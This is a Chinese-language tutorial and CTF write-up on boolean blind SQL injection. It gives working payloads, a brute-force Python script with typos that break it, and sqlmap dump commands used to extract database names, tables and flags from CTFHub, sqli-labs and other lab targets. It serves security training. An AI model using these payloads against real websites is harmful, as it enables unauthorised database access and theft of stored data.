1.什么是布尔盲注
布尔盲注是 SQL 注入的一种类型,核心特点是 ==页面不直接显示查询结果或错误信息== ,而是通过返回页面的布尔状态(如“成功/失败”“显示/不显示”)来判断注入语句的执行结果,从而逐步推断数据库中的敏感信息。
核心原理
布尔盲注利用 SQL 语句的逻辑判断(如 AND 、 OR )构造条件,根据页面返回的状态( TRUE 或 FALSE )来验证假设是否成立。例如:
- 构造 id=1' AND 1=1 -- ,若页面正常显示,说明 1=1 为真(注入成功)。
- 构造 id=1' AND 1=2 -- ,若页面不显示内容,说明 1=2 为假(注入成功)。 通过这种方式,攻击者可以逐位猜测数据库中的信息(如数据库名、表名、字段值)。
2.怎么判断是否为布尔盲注
一、基础测试:确认注入点存在
- 输入单引号 :访问 http://target/?id=1' ,观察页面响应:
- 若返回详细 SQL 错误信息(如 You have an error in your SQL syntax ),说明可能是 报错注入 ,而非布尔盲注。
- 若页面无错误信息,仅显示“查询失败”“无数据”或页面空白/状态变化,说明可能是布尔盲注。
二、关键测试:验证布尔逻辑响应
构造 逻辑真 和 逻辑假 的 SQL 语句,观察页面是否返回不同状态:
1. 测试逻辑真(TRUE)
输入 http://target/?id=1' AND 1=1 -- ,观察页面响应:
- 若页面正常显示(如返回原始内容“查询成功”),说明 AND 1=1 被执行且为真,注入语句生效。
2. 测试逻辑假(FALSE)
输入 http://target/?id=1' AND 1=2 -- ,观察页面响应:
- 若页面异常(如显示“无数据”“查询失败”或页面空白),说明 AND 1=2 被执行且为假,注入句生效。
3. 对比响应差异
- 若“逻辑真”和“逻辑假”的请求返回 不同状态 (如一个显示内容,一个不显示),则可确认存在 布尔盲注
3.解决步骤
1. 获取数据库名
- 步骤1:确定数据库名长度
构造 length(database())=N 的条件,通过二分法测试 N 的值,直到页面正常显示:
text http://target/?id=1' AND length (database())=8 -- (假设长度为8)
- 步骤2:逐位猜测数据库名字符 使用 substring() 截取每一位,结合 ascii() 转换为 ASCII 码,通过比较操作符判断字符: http://target/?id=1' AND ascii (substring(database(),1,1))=115 -- (判断第1位是否为 's',ASCII 115)
- 当SQL语句中#,-- 被过滤了,使用1’ and length(database())=8 and '1'=1'
2. 获取表名
- 步骤1:确定表的数量
构造 count(table_name) 的条件,测试表的数量:
text http://target/?id=1' AND (select count(table_name) from information_schema.tables where table_schema=database())=4 -- (假设4个表)
- 步骤2:逐位猜测表名
使用 limit 语句逐个获取表名,结合 length() 和 ascii() 逐位猜测:
# 先确定第一个表名长度
http://target/?id=1' AND length
((select table_name from
information_schema.tables where
table_schema=database() limit 0,
1))=5 -- (假设长度为5)
# 逐位猜测第一个表名 http://target/?id=1' AND ascii (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 -- (判断第1 位是否为 'f',ASCII 102)
3. 获取字段名
- 步骤1:确定字段数量
针对目标表(如 flag 表),测试字段数量:
text http://target/?id=1' AND (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1 -- (假 设1个字段)
- 步骤2:逐位猜测字段名
结合 length() 和 ascii() 逐位猜测字段名:
http://target/?id=1' AND ascii (substring((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0, 1),1,1))=102 -- (判断第1位是否为 'f')
4. 获取数据(如 flag)
- 步骤1:确定数据长度
测试目标字段(如 flag 字段)的值长度:
text http://target/?id=1' AND length ((select flag from flag))=32 -- (假设长度为32)
- 步骤2:逐位猜测数据
逐位猜测 flag 的值:
http://target/?id=1' AND ascii (substring((select flag from flag),1,1))=102 -- (判断第1位是否 为 'f')
4.ctfhub(布尔盲注)
1. 访问目标页面
首先访问目标地址:`http://challenge-84616cbe770facd1.sandbox.ctfhub.com:10800/
2. 测试注入点
- 访问
/?id=1,页面正常显示 - 访问
/?id=1',页面显示异常 - 访问
/?id=1' AND 1=1 --+,页面正常显示 - 访问
/?id=1' AND 1=2 --+,页面显示异常
这表明存在 SQL 布尔盲注漏洞,我们可以利用此漏洞获取数据库信息。
1. 获取数据库名称
1.1 确定数据库名称长度
使用 LENGTH() 函数确定数据库名称的长度:
/?id=1' AND LENGTH(database()) > 1 --+ /?id=1' AND LENGTH(database()) > 2 --+ ... /?id=1' AND LENGTH(database()) = 8 --+
通过测试,确定数据库名称长度为 8。
1.2 逐字符获取数据库名称
使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取数据库名称:
/?id=1' AND ASCII(SUBSTRING(database(), 1, 1)) > 96 --+ /?id=1' AND ASCII(SUBSTRING(database(), 1, 1)) > 100 --+ ... /?id=1' AND ASCII(SUBSTRING(database(), 1, 1)) = 115 --+
通过测试,获取数据库名称为 sqli_84616c。
2. 获取表名
2.1 确定表的数量
使用 COUNT() 函数确定数据库中的表数量:
/?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) > 0 --+
通过测试,确定表数量为 2。
2.2 确定表名长度
使用 LENGTH() 函数确定表名的长度:
/?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) > 1 --+
通过测试,确定第一个表名长度为 5,第二个表名长度为 4。
.3 逐字符获取表名
使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取表名:
/?id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 1)) > 96 --+
通过测试,获取表名为 users 和 flag。
3. 获取列名
3.1 确定 flag 表中的列数量
使用 COUNT() 函数确定 flag 表中的列数量:
/?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='flag') > 0 --+
通过测试,确定列数量为 2。
3.2 确定列名长度
使用 LENGTH() 函数确定列名的长度:
/?id=1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1)) > 1 --+
通过测试,确定第一个列名长度为 2,第二个列名长度为 4。
3.3 逐字符获取列名
使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取列名:
/?id=1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1), 1, 1)) > 96 --+
通过测试,获取列名为 id 和 flag。
4. 获取 flag 数据
4.1 确定 flag 数据长度
使用 LENGTH() 函数确定 flag 数据的长度:
/?id=1' AND LENGTH((SELECT flag FROM flag LIMIT 0,1)) > 1 --+
通过测试,确定 flag 数据长度为 32。
4.2 逐字符获取 flag 数据
使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取 flag 数据:
/?id=1' AND ASCII(SUBSTRING((SELECT flag FROM flag LIMIT 0,1), 1, 1)) > 96 --+
通过测试,获取完整的 flag 数据。
自动化脚本
为了提高效率,我们可以编写一个自动化脚本来执行布尔盲注:
import request
import string
url = "....."
#select = "select database()"
#select = "select group_concat(table_name) from information.schema.tables where table_schema=database()"
#select = "select group_concat(column_name) from information.schema.columns where table_schema=database() and table_name='表名'"
#select = "select group_concat(username) from 表名"
result = ""
for i in range(1,100):
for ch in string.ascii_letters + string.digits + ",:}{_":
patload = f"1' and substr(({select}),{i},1) = '{ch}'%23"
r = request.get(url = url + payload)
if "页面所返回的字符" in r.text:
result += ch
print(result)
break
if ch == "_":
print("{****} 注入完成")
exit(0)
5.sqli-labs Less-8
?id=1
yes(You are in )
?id=1'
no
?id=1' and 1=1 %23
yes
?id=1' and 1=2 %23
no
?id=1' and length(database())=8 %23
yes(库名长度为8)
?id=1' and ascii(substr(database(),1,1))=115 %23
yes 115=s
?id=1' and ascii(substr(database(),2,1))=101 %23
yes 101=e
......库名为security
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 %23
yes(4个表)
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 %23
yes(第一个表名长度为6)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23
yes 101=e
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23
yes 109=m
.....
最后找到所需的表users
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' )=3 %23
yes 有3个列
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 %23
yes 105=i
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2,1))=100 %23
yes 100=d
....
6.好靶场
步骤1:打开靶场,得到以下页面。
步骤2:找到注入点。
- 正常情况下:输入相应的id,页面会返回你查询的内容是否存在,如图所示。
-(在这里我发现当id大于8时,页面就会返回flase,不知道和order by语句有没有关系) - 单、双引号、括号什么的都去试一下,我这里发现他好像是直接拼接进去的,不需要构造闭合。
步骤3:开始插入语句,获取数据库的名字。
- Payload:
1 AND (SELECT LENGTH(DATABASE())) = {猜测数据库长度}
-这里数量不多,在输入框里一个一个试,或者现在打开BP直接爆破都可以。
最后我们得到,数据库的字符长度是17。 - 遇到的问题:在这里一定要注意括号匹配等语法问题,因为如果你输入的语法有问题,页面也是会返回false。
- 解决方案:建议打开一个文本文档,方便记录的同时也方便你去对payload进行修改,毕竟这个输入框的大小比较小。
步骤4:开始爆破数据库名。
- 首先需要新建一个字典(文本文档),内容需要包括a ~ z、0 ~ 9和部分特殊字符(如果说发现后期爆破结果不完整再加上大写的字母)。
- 打开BP内置浏览器并转到相应网址。
- 开始逐位尝试,输入payload以后用BP抓一次包。
Payload:1 AND (SELECT SUBSTRING(DATABASE(), 1, 1)) = '{猜测字符}' - 将数据包发送到Instruder中,并开始尝试爆破。
在这里我们攻击方式选择Cluster bomb,并且添加两个替换变量(这里显示的是经过URL编码,需要仔细看一下,%20是空格,%2C是逗号)
配置第一个替换变量
配置第二个替换变量
点击Start attack,开始跑表,这里一共十七位,一个一个对着看发现和前面关卡中所使用的数据库名是一样的——sql_injection_lab。
步骤5:判断表中的内容是否存在,并爆破表名、列名
- 首先需要确定数据库中拥有哪些表,常见的表有id、username、password或者email什么的。我们这里针对性强一些,直接查询是否存在flag这个表。
- 在MySQL版本>5.0以后有几个重要的名称,information_schema(该数据库的总表)、information_schema.tables(数据库中所有的表名)、information_schema.columns(数据库中所有列名/字段名)。
尝试构造语句查询数据库中是否存在flag表。
payload:1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='sql_injection_lab' AND table_name='flag') = 1
结果如下,发现确实存在flag表。 - 确认表格的存在后,开始查询flag是否存在(因为一般flag的值都会放在这个字段中)。
- 具体的方法和查询flag表类似,就是再加入一个限定条件。
payload:1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='sql_injection_lab' AND table_name='flag' AND column_name='flag') = 1
可以看出,结果是flag字段是存在的。
步骤5:爆破flag的值
- 具体方法和步骤3中获取数据库名称是一样的,这里就不赘述了,直接贴出payload,跳到使用BP爆破的步骤。
- 首先确认flag的长度(说实话,我也是够懒的,没数过,不然都不用这一步)。
- Payload:
1 AND LENGTH((SELECT flag FROM sql_injection_lab.flag)) = {猜测长度}
选择Sniper模式,并且找到需要替换的变量。
点击攻击后筛选数据得到flag长度为42。(可以看到我这里是从20开始的算是偷个懒) - 接下来就是开始爆破内容了,和上述步骤一样,但是会有两个替换变量,而且第一个替换变量需要从1~42。
- Payload:
1 AND (SELECT SUBSTRING((SELECT flag FROM sql_injection_lab.flag LIMIT 0, 1), {位数}, 1)) = '{替换字符}'
设置变量。
设置好两个替换变量后,直接点击开始攻击,将内容过滤后会得到下面的图。
这里的数据需要过滤一下,不然太多了,具体步骤就是单击length,将返回数据长度为237的全部选中,并添加高亮。
只将高亮部分显示出来。
最后开始筛选重组所获取的信息,因为我不是很会使用BP,所以我使用的是表格进行筛选和转置,最后获得了flag。
这里我就不贴答案了,这个真的值得大家试一下,说不定就会有什么意想不到的发现。
7.sqlmap的布尔盲注命令
python sqlmap.py -u "url" --technique B --batch --dbs python sqlmap.py -u "http://3fk0io1.haobachang2.loveli.com.cn:8888/check?id=1" --technique B --batch -D 库名 --tables python sqlmap.py -u "http://3fk0io1.haobachang2.loveli.com.cn:8888/check?id=1" --technique B --batch -D 库名 -T 表名 --columns python sqlmap.py -u "http://3fk0io1.haobachang2.loveli.com.cn:8888/check?id=1" --technique B --batch -D 库名 -T 表名 -C "字段1,字段2" --dump
评论区
评论加载中...